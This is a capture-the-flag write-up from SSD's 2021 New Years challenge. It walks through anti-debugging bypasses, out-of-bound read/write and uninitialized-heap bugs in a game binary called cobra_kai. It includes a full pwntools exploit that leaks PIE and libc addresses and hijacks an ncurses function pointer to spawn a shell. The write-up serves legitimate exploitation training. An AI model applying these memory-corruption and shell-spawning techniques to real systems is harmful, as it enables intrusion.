2021 New Years Challenge

SSD’s New Years challenge was published on December 27th, 2020

This challenge comes as a binary running inside a Docker with certain vulnerabilities in it! First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a 300$ Amazon gift card.

Solutions should be provided in:

  1. python2 or python3 (preferred) form
  2. Solution should connect via port 2325 to the running Docker and obtain the /home/ctf/flag and display it to the person running the script
  3. If you are not using existing modules, provide a requirements.txt file

Notes on files under challenge folder

While the flagcobra_kai (hash: 872dad296686b8a13bd09947e6c2190c8fd0433b373ed747071f02c252f36741), launch.sh are here to help you understand the challenge – they should not be modifying in any way in order to win the challenge – we will be running the original binary in our environment.

Notes on setting on the ENV for the challenge

Build container

sudo docker build --tag cobra_kai .

Run container with port 2325 being exposed

sudo docker run --detach -p 2325:2325 cobra_kai

Debugging

sudo docker exec -it <container_name> bash

Challenge Solution:

Submmited by Juno Im of theori – @junorouse

Introduction

This program (cobra_kai) is a Tekken game that can play with an AI computer. Users can train their character to fight with AI, save/load the game, and leave a message when they defeat the boss.

Anti-Reverse Engineering Features

MSB unknown arch 0x3e00 (SYSV)

When you open the binary with gdb, it says "cobra_kai": not in executable format: file format not recognized.. To bypass this, you need to patch the sixth byte (0x02) to 0x01.

00000000: 7f45 4c46 02 [02] 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 302c 0000 0000 0000  ..>.....0,......
00000020: 4000 0000 0000 0000 c832 0200 0000 0000  @........2......
00000030: 0000 0000 4000 3800 0a00 4000 1b00 1a00  ....@.8...@.....
juno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ file cobra_kai
cobra_kai: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)
vjuno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ vi cobra_kai
juno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ file cobra_kai
cobra_kai: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped

PTRACE

At 20 rounds, there is a check if the program is debugged. To bypass this, you have to change call instruction to nop (\x90) instruction.

  if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
  {
    _fprintf_chk(stderr, 1LL, "Tracer detected!\n");
    exit(1);
  }

Vulnerabilities

Vulnerability A – OOB Read

The following is the code when you choose the “display previous fights” feature:

 _printf_chk(1LL, "Which previous fight would you like to see? Enter a slot #: ");
  _isoc99_scanf("%d", v1 - 36);
  slotIndex = *(v1 - 36);
  if ( slotIndex < 41 )                         // [1] Out of bound Read
  {
    v4 = slotIndex;
    *(v1 - 16) = *&game_data->fData[v4].is_win;
    *(v1 - 32) = *game_data->fData[v4].fighterName;
    _printf_chk(1LL, "Name to remember: %s\n", (v1 - 32));// leak function pointer
    _printf_chk(1LL, "Result: %d (duh!)\n", *(v1 - 16));
    _printf_chk(1LL, "Rounds: %d\n", *(v1 - 16));
  }

The part indicated by [1] does not perform range checks properly. It allows inducing PIE address leak by accessing 41st data of fData leak.

Vulnerability B – Uninitialized Data

The code to delete a user and create a new user is as follows:

__int64 func_delete_main_user_impl()
{
  fighter *v0; // rax
  fighter *v1; // rbx
  fighter *v2; // rax

  puts("Ending current attempt");
  free(g_fighter);
  g_fighter = 0LL;
  puts("Creating a NEW fighter");
  v0 = malloc(0x428uLL);
  v1 = v0;
  v0->round = 0;
  *&v0->can_read_action = 0LL;
  v0->maxSlot = 40;
  *v0->gogo = 0LL;
  *&v0->characterIndex = 0LL;
  memset(v0->fData, 0, 0x3C0uLL);
  g_fighter = v1;
  _printf_chk(1LL, "Enter name: ");
  fgets(g_fighter->name, 14, stdin);
  strtok(g_fighter->name, "\n");
  _printf_chk(1LL, "Enter anger: ");
  _isoc99_scanf("%lld", g_fighter);             // [2], main_arena+96
  v2 = g_fighter;
  *&g_fighter->charm = xmmword_1B520;
  v2->strengh = 4;
  v2->func_a0x420 = end_fight;
  *v2->dummy12 = 1;
  puts("New Fighter Created!");
  return 0LL;
}

It uses scanf to read anger from a user; if you insert a plus sign(+) as the input value of the scanf, the value in the existing memory will be used. It allows reading uninitialized data from the freed heap, which holds the main_arena+96 pointer since it is in the unsorted bin.

Vulnerability C – OOB Write

The following code is function DD, which used to process the game steps between AI and user:

knockback_value = 3;
      if ( strength >= 129 )
      {
        v25 = rand();
        if ( v25 - 10 * (v25 / 336) == 2 )
          knockback_value = LOBYTE(a1->punch) + 3; // [3]
      }
...
      v3->characterIndex = v27 + knockback_value * (2 * (*v3->dummy12 != 1) - 1);

If the program satifies the following condition: strength >= 129 && rand() % 10 == 2 (You can train strength over 129 if you defeat the boss), knockback_value is added to user’s punch value [3]. The map drawing function uses knockback_value to draw the enemy’s location with the following code:

  v11 = enemy_->characterIndex;
  *&map[v11 + 0xF0] = *enemy_->data; // [4]
  *&map[v11 + 0x118] = *&enemy_->data[4]; // [4]
  *&map[v11 + 0x140] = *&enemy_->data[8]; // [4]

Because the map object’s size is 400 bytes, out-of-bound write occurs in part marked [4].

Exploit

If you win a fight, the program enters a win function. The win function allows you to write your name in the index after comparing it to the maxSlot variable at marked [5]:

puts("Which notch on your belt will this victory go?");
  v4 = 1;
  _printf_chk(1LL, "> ");
  fgets(slotIndex, 10, stdin);
  slot_index = strtol(slotIndex, 0LL, 10);
  if ( slot_index < 0 || g_fighter->maxSlot <= slot_index ) // [5]
  {
    _printf_chk(1LL, "Bad Slot");
  }
  else
  {
    puts("What Name Shall you Remember this fighter by?");
    v4 = 0;
    _printf_chk(1LL, "> ");
    v6 = slot_index;
    fgets(&g_fighter->fData[v6], 14, stdin);
    v7 = g_fighter;
    g_fighter->fData[v6].end_round = end_round;
    v7->fData[v6].is_win = 1;
  }

Using out-of-bound write vulnerability, we can overwrite the maxSlot variable of the saved fighter object ([here])

.bss:0000000000473DC0 ; char map[400] // map object
.bss:0000000000473DC0 map             db 190h dup(?)          ; DATA XREF: LOAD:0000000000001308↑o
.bss:0000000000473DC0                                         ; print_map+4↑w ...
.bss:0000000000473F50                 public won_by_boss
.bss:0000000000473F50 won_by_boss     dd ?                    ; DATA XREF: LOAD:0000000000001698↑o
.bss:0000000000473F50                                         ; func_lift_impl+22↑r ...
.bss:0000000000473F54                 dq ?
.bss:0000000000473F5C                 db    ? ;
.bss:0000000000473F5D                 db    ? ;
.bss:0000000000473F5E                 db    ? ;
.bss:0000000000473F5F                 db    ? ;
.bss:0000000000473F60                 public saved_fighters
.bss:0000000000473F60 ; fighter saved_fighters[8]
.bss:0000000000473F60 saved_fighters  fighter 8 dup(<?>)      ; DATA XREF: LOAD:0000000000000D20↑o // [here]
.bss:0000000000473F60                                         ; func_save_game_impl+22↑o ...
.bss:00000000004760A0                 public msg_from_mic

Strategy A – Heap Fengshui With Root User

Therefore, we have out-of-bound write primitive on heap segment. Behind the fighter object on the heap, there is a ncurse_data chunk, which holds many function pointers. One of these is called inside the endwin function called ([6]) when you play a game. Finallay you can overwrite this value to any address and control the PC!

int endwin()
{
  __int64 v0; // rax
  __int64 v1; // rdi

  v0 = HEAP_OBJ;
  if ( !HEAP_OBJ )
    return -1;
  v1 = HEAP_OBJ;
  *(HEAP_OBJ + 728) = 1;
  (*(v0 + 1088))(v1); // [6]
  sub_1AD40();
  sub_101F0();
  return reset_shell_mode();
}

Script

#!/usr/bin/env python3
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['/mnt/c/Windows/System32/wsl.exe', '-e']
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe', '--', 'sudo', 'su', '-c']
# r = process('./cobra_kai')
r = remote('0', 2325)
# r = remote('0', 2326)
# gdb.attach(r, 'handle SIG32 nostop noprint')
r.sendafter('Enter name: ', 'a'*14)
r.sendlineafter('Enter anger: ', '1')

def play_game(st, x=False, verbose=False):
    is_first = False
    cnt = 0
    while True:
        print(cnt, end=' ')
        b = r.recv(30)
        if b'Point' in b:
            break
        _ = r.recvuntil('|--------------------------------------|')
        a = r.recvuntil('|--------------------------------------|')
        # check enemy
        if verbose:
            print(a.decode('latin-1'))
            print(a.count(b'O'), a.count(b'o'))

        if a.count(b'O') == 1 and (a.count(b'o') == 0 or a.count(b'o') != 2) and a.count(b'o') != 1:
            r.send('q')
            print('')
            return False

        data = a.split(b'\n')
        if (b'^' in a or b'.' in a or b'*' in a) and not x:
            continue

        r.send(st[cnt])
        cnt += 1

    print('')
    return True

play_game('rrrrrrrkrkrkrk')

r.sendline('')
r.sendlineafter('Which notch on your belt will this victory go?', '0')
r.sendlineafter('What Name Shall you Remember this fighter by?', 'abcd')

r.sendlineafter('>', '8')
r.sendline('40')

r.recvuntil('Name to remember: ')
pie_base = u64(r.recv(6) + b'\x00\x00') - 94624
print(f'pie_base: {hex(pie_base)}')


r.sendlineafter('>', '7')
r.sendlineafter('3. Load Game\n> ', '1')
r.sendafter('Enter name: ', 'a'*14)
r.sendlineafter('Enter anger: ', '+')

r.sendlineafter('>', '4') # quit user menu
r.sendlineafter('>', '6')

r.recvuntil('Anger: ')
main_arena_96 = int(r.recvuntil(',').replace(b',', b'').decode('latin-1')) # main_arena + 96
libc_base = main_arena_96 - 0x3c4b78
print(f'main_arena+96 : {hex(main_arena_96)}')
print(f'libc_base : {hex(libc_base)}')

X = 0
# lift
for i in range(19 + X):
    r.sendlineafter('>', '1')

r.send('q')
r.recvuntil("9. QUIT (Don't be a &(^(^)")

for i in range(19):
    r.sendlineafter('>', '1')

r.send('q')
r.recvuntil("9. QUIT (Don't be a &(^(^)")

for i in range(24):
    r.sendlineafter('>', '1')

for i in range(39 - 24):
    r.sendlineafter('>', '3')

r.send('q')
r.recvuntil("9. QUIT (Don't be a &(^(^)")

for i in range(50):
    r.sendlineafter('>', '4')
    r.sendlineafter('>', '1')
    r.sendlineafter('>', '4')
    r.sendlineafter('>', '2')
    r.sendlineafter('>', '4')
    r.sendlineafter('>', '3')

r.sendlineafter('>', '7')
r.sendlineafter('>', '2')
r.sendlineafter('Slot:', '7')

r.sendlineafter('>', '2') # fight
r.sendlineafter('>', '5')


play_game('rrrrrrrrrrrrrkrrprrdrrrdrrrprrrkdrrrdrrp'*100, x=True)
r.sendline('')
r.sendlineafter('Which notch on your belt will this victory go?', '1')
r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd')
r.sendlineafter('**Hands over the mic**', 'B'*40)

r.sendlineafter('>', '2') # fight
r.sendlineafter('>', '0')
play_game('rrrrrrkpdrkpdrkpdrkpd'*30, x=True) #, verbose=True)

r.sendline('')
r.sendlineafter('Which notch on your belt will this victory go?', '2')
r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd')

# lift

r.sendlineafter('>', '7')
r.sendlineafter('>', '2')
r.sendlineafter('Slot:', '0')

for i in range(10):
    r.sendlineafter('>', '1') # lift
    r.sendlineafter('>', '4')
    r.sendlineafter('>', '2') # punch


def make_fit():
    while True:
        r.sendlineafter('>', '4')
        r.sendlineafter('>', '2') # punch
        r.sendlineafter('>', '6')
        r.recvuntil('Punch: ')
        x = int(r.recvuntil(',').replace(b',', b'')) + 3
        x &= 0xff
        x += 0x19
        # if (x > 0xe4 and x <= 0xe4 + 3) or
        if (x > 0xbc and x <= 0xbc + 3):
            break

make_fit()

r.sendlineafter('>', '7')
r.sendlineafter('>', '2')
r.sendlineafter('Slot:', '1')

print('go...!')

context.log_level = 'error'
while True:
    print('gogo', i)
    r.sendlineafter('>', '7')
    r.sendlineafter('>', '3')
    r.sendlineafter('Slot:', '1')
    r.sendlineafter('>', '2') # fight
    r.sendlineafter('>', '1')
    if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True):
        r.sendline('')
        r.sendlineafter('Which notch on your belt will this victory go?', '0')
        r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd')
    else:
        r.sendlineafter('>', '7')
        r.sendlineafter('>', '3')
        r.sendlineafter('Slot:', '0')
        break

## heap fengsui ##

r.sendlineafter('>', '7')
r.sendlineafter('>', '1')
r.sendlineafter('Enter name: ', 'asdf')
r.sendlineafter('Enter anger: ', '3434')


'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

'''
0x56507a30d76b:      call   QWORD PTR [rdi+0x1a]
0x1f76b
'''

while True:
    print('gogo', i)
    r.sendlineafter('>', '7')
    r.sendlineafter('>', '3')
    r.sendlineafter('Slot:', '0')
    r.sendlineafter('>', '2') # fight
    r.sendlineafter('>', '1')
    if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True):
        r.sendline('')
        r.sendlineafter('Which notch on your belt will this victory go?', str(85+2)) # 0x7f39f0bbefa0 <endwin+32>    call   qword ptr [rax + 0x440] <0xa464544434241>
        # r.sendlineafter('Which notch on your belt will this victory go?', str(357914029)) # 0x7f39f0bbefa0 <endwin+32>    call   qword ptr [rax + 0x440] <0xa464544434241>
        r.sendafter('What Name Shall you Remember this fighter by?', p64(libc_base + 0x4527a)) # rsp-0x30 = null
        # r.sendafter('What Name Shall you Remember this fighter by?', p64(0x41424344)) # rsp-0x30 = null
        break

r.interactive() # press 2, ^C
context.log_level = 'debug'
first = True
while True:
    print('gogo', i)
    if not first:
        r.sendlineafter('>', '7')
        r.sendlineafter('>', '3')
        r.sendlineafter('Slot:', '0')
        r.sendlineafter('>', '2') # fight
        r.sendlineafter('>', '1')
    else:
        r.sendline('1')
        first = False

    if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True):
        r.sendline('')
        r.sendlineafter('Which notch on your belt will this victory go?', '128') # 0x7f39f0bbefa0 <endwin+32>    call   qword ptr [rax + 0x440] <0xa464544434241>
        # r.sendlineafter('Which notch on your belt will this victory go?', '357914070') # 0x7f39f0bbefa0 <endwin+32>    call   qword ptr [rax + 0x440] <0xa464544434241>
        r.sendlineafter('What Name Shall you Remember this fighter by?', p64(libc_base + 0x0000000000194feb + 8))

        break

# gdb.attach(r, 'handle SIG32 nostop noprint')
print(f'x/20gx *{hex(pie_base + 0x473F60)}')
print(f'b *{hex(pie_base + 0x14e02)}')
print(f'b *{hex(pie_base + 0x14e98)}')
print(f'b *{hex(pie_base + 0x170e1)}')

r.sendlineafter('>', '2')
r.sendlineafter('>', '1')
for i in range(20):
    r.sendline('bash')
r.interactive()

Exploit Video

Strategy B – Universal Exploit

The offset between the endwin function pointer and the first of slots are different between the root user and a standard (ctf) user.

Why?

“ncurses” allocates some terminal environment ($HOME/.terminfo) on the heap. For root users, the home folder is short(/root), but for the ctf user, the home folder is longer than the root user(/home/ctf/). It makes resulting in a difference in heap feng shui. So… overwriting the endwin function pointer is impossible under the ctf user because we only can overwrite 14 bytes at the address is 24 bytes aligned. Then, how can we exploit on standard user? I didn’t figure out how to exploit it, but after the contest, jinmo123 and I find a way to exploit it universally.

How?

0000005C maxSlot         dd ?
00000060 fData           fightData 40 dup(?)
00000420 func_a0x420     dq ?

We can overwrite a function pointer that holds the win function in the fighter object. But this program has CFI mitigation to protect from the jump table pollution. The following code is the CFI mitigation code before calling the win function.

.text:0000000000015DA4                 mov     rax, cs:g_fighter
.text:0000000000015DAB                 mov     rcx, [rax+420h]
.text:0000000000015DB2                 lea     rax, win
.text:0000000000015DB9                 mov     rdx, rcx
.text:0000000000015DBC                 sub     rdx, rax
.text:0000000000015DBF                 rol     rdx, 3Dh
.text:0000000000015DC3                 cmp     rdx, 6; [7]
.text:0000000000015DC7                 jnb     short loc_15E09
.text:0000000000015DC9                 mov     edi, [rbp-0Ch]
.text:0000000000015DCC                 call    rcx

The part marked [7] uses 6, not 0, so you can use other jump tables around the win jump table.

.text:00000000000171A0                 jmp     win_impl
.text:00000000000171A8                 jmp     check_round_impl
.text:00000000000171B0                 jmp     start_first_round_impl
.text:00000000000171B8                 jmp     func_delete_main_user_impl
.text:00000000000171C0                 jmp     func_save_game_impl
__int64 __fastcall func_save_game_impl(unsigned int a1)
{
  _printf_chk(1LL, "Saving Game into Slot %d\n", a1);
  memcpy(&saved_fighters[a1], g_fighter, 0x428uLL);
  return 0LL;
}

If you look at func_save_game_impl, you can see that the current game can be saved to the first argument as an index, which holds the fighting end round. Since the saved_fighters object’s length is 8, you can get an out-of-bound write one more!

.bss:0000000000473F60 saved_fighters  fighter 8 dup(<?>)      ; DATA XREF: LOAD:0000000000000D20↑o // [here]
.bss:0000000000473F60                                         ; func_save_game_impl+22↑o ...
.bss:00000000004760A0                 public msg_from_mic

There is a pointer behind the saved_fighters object that can be written after you defeat the boss, finally overwriting this pointer allows you to write everything on any addresses! (the first offset of the game object is an anger value, which can make it anything when you make a new character[=fighter])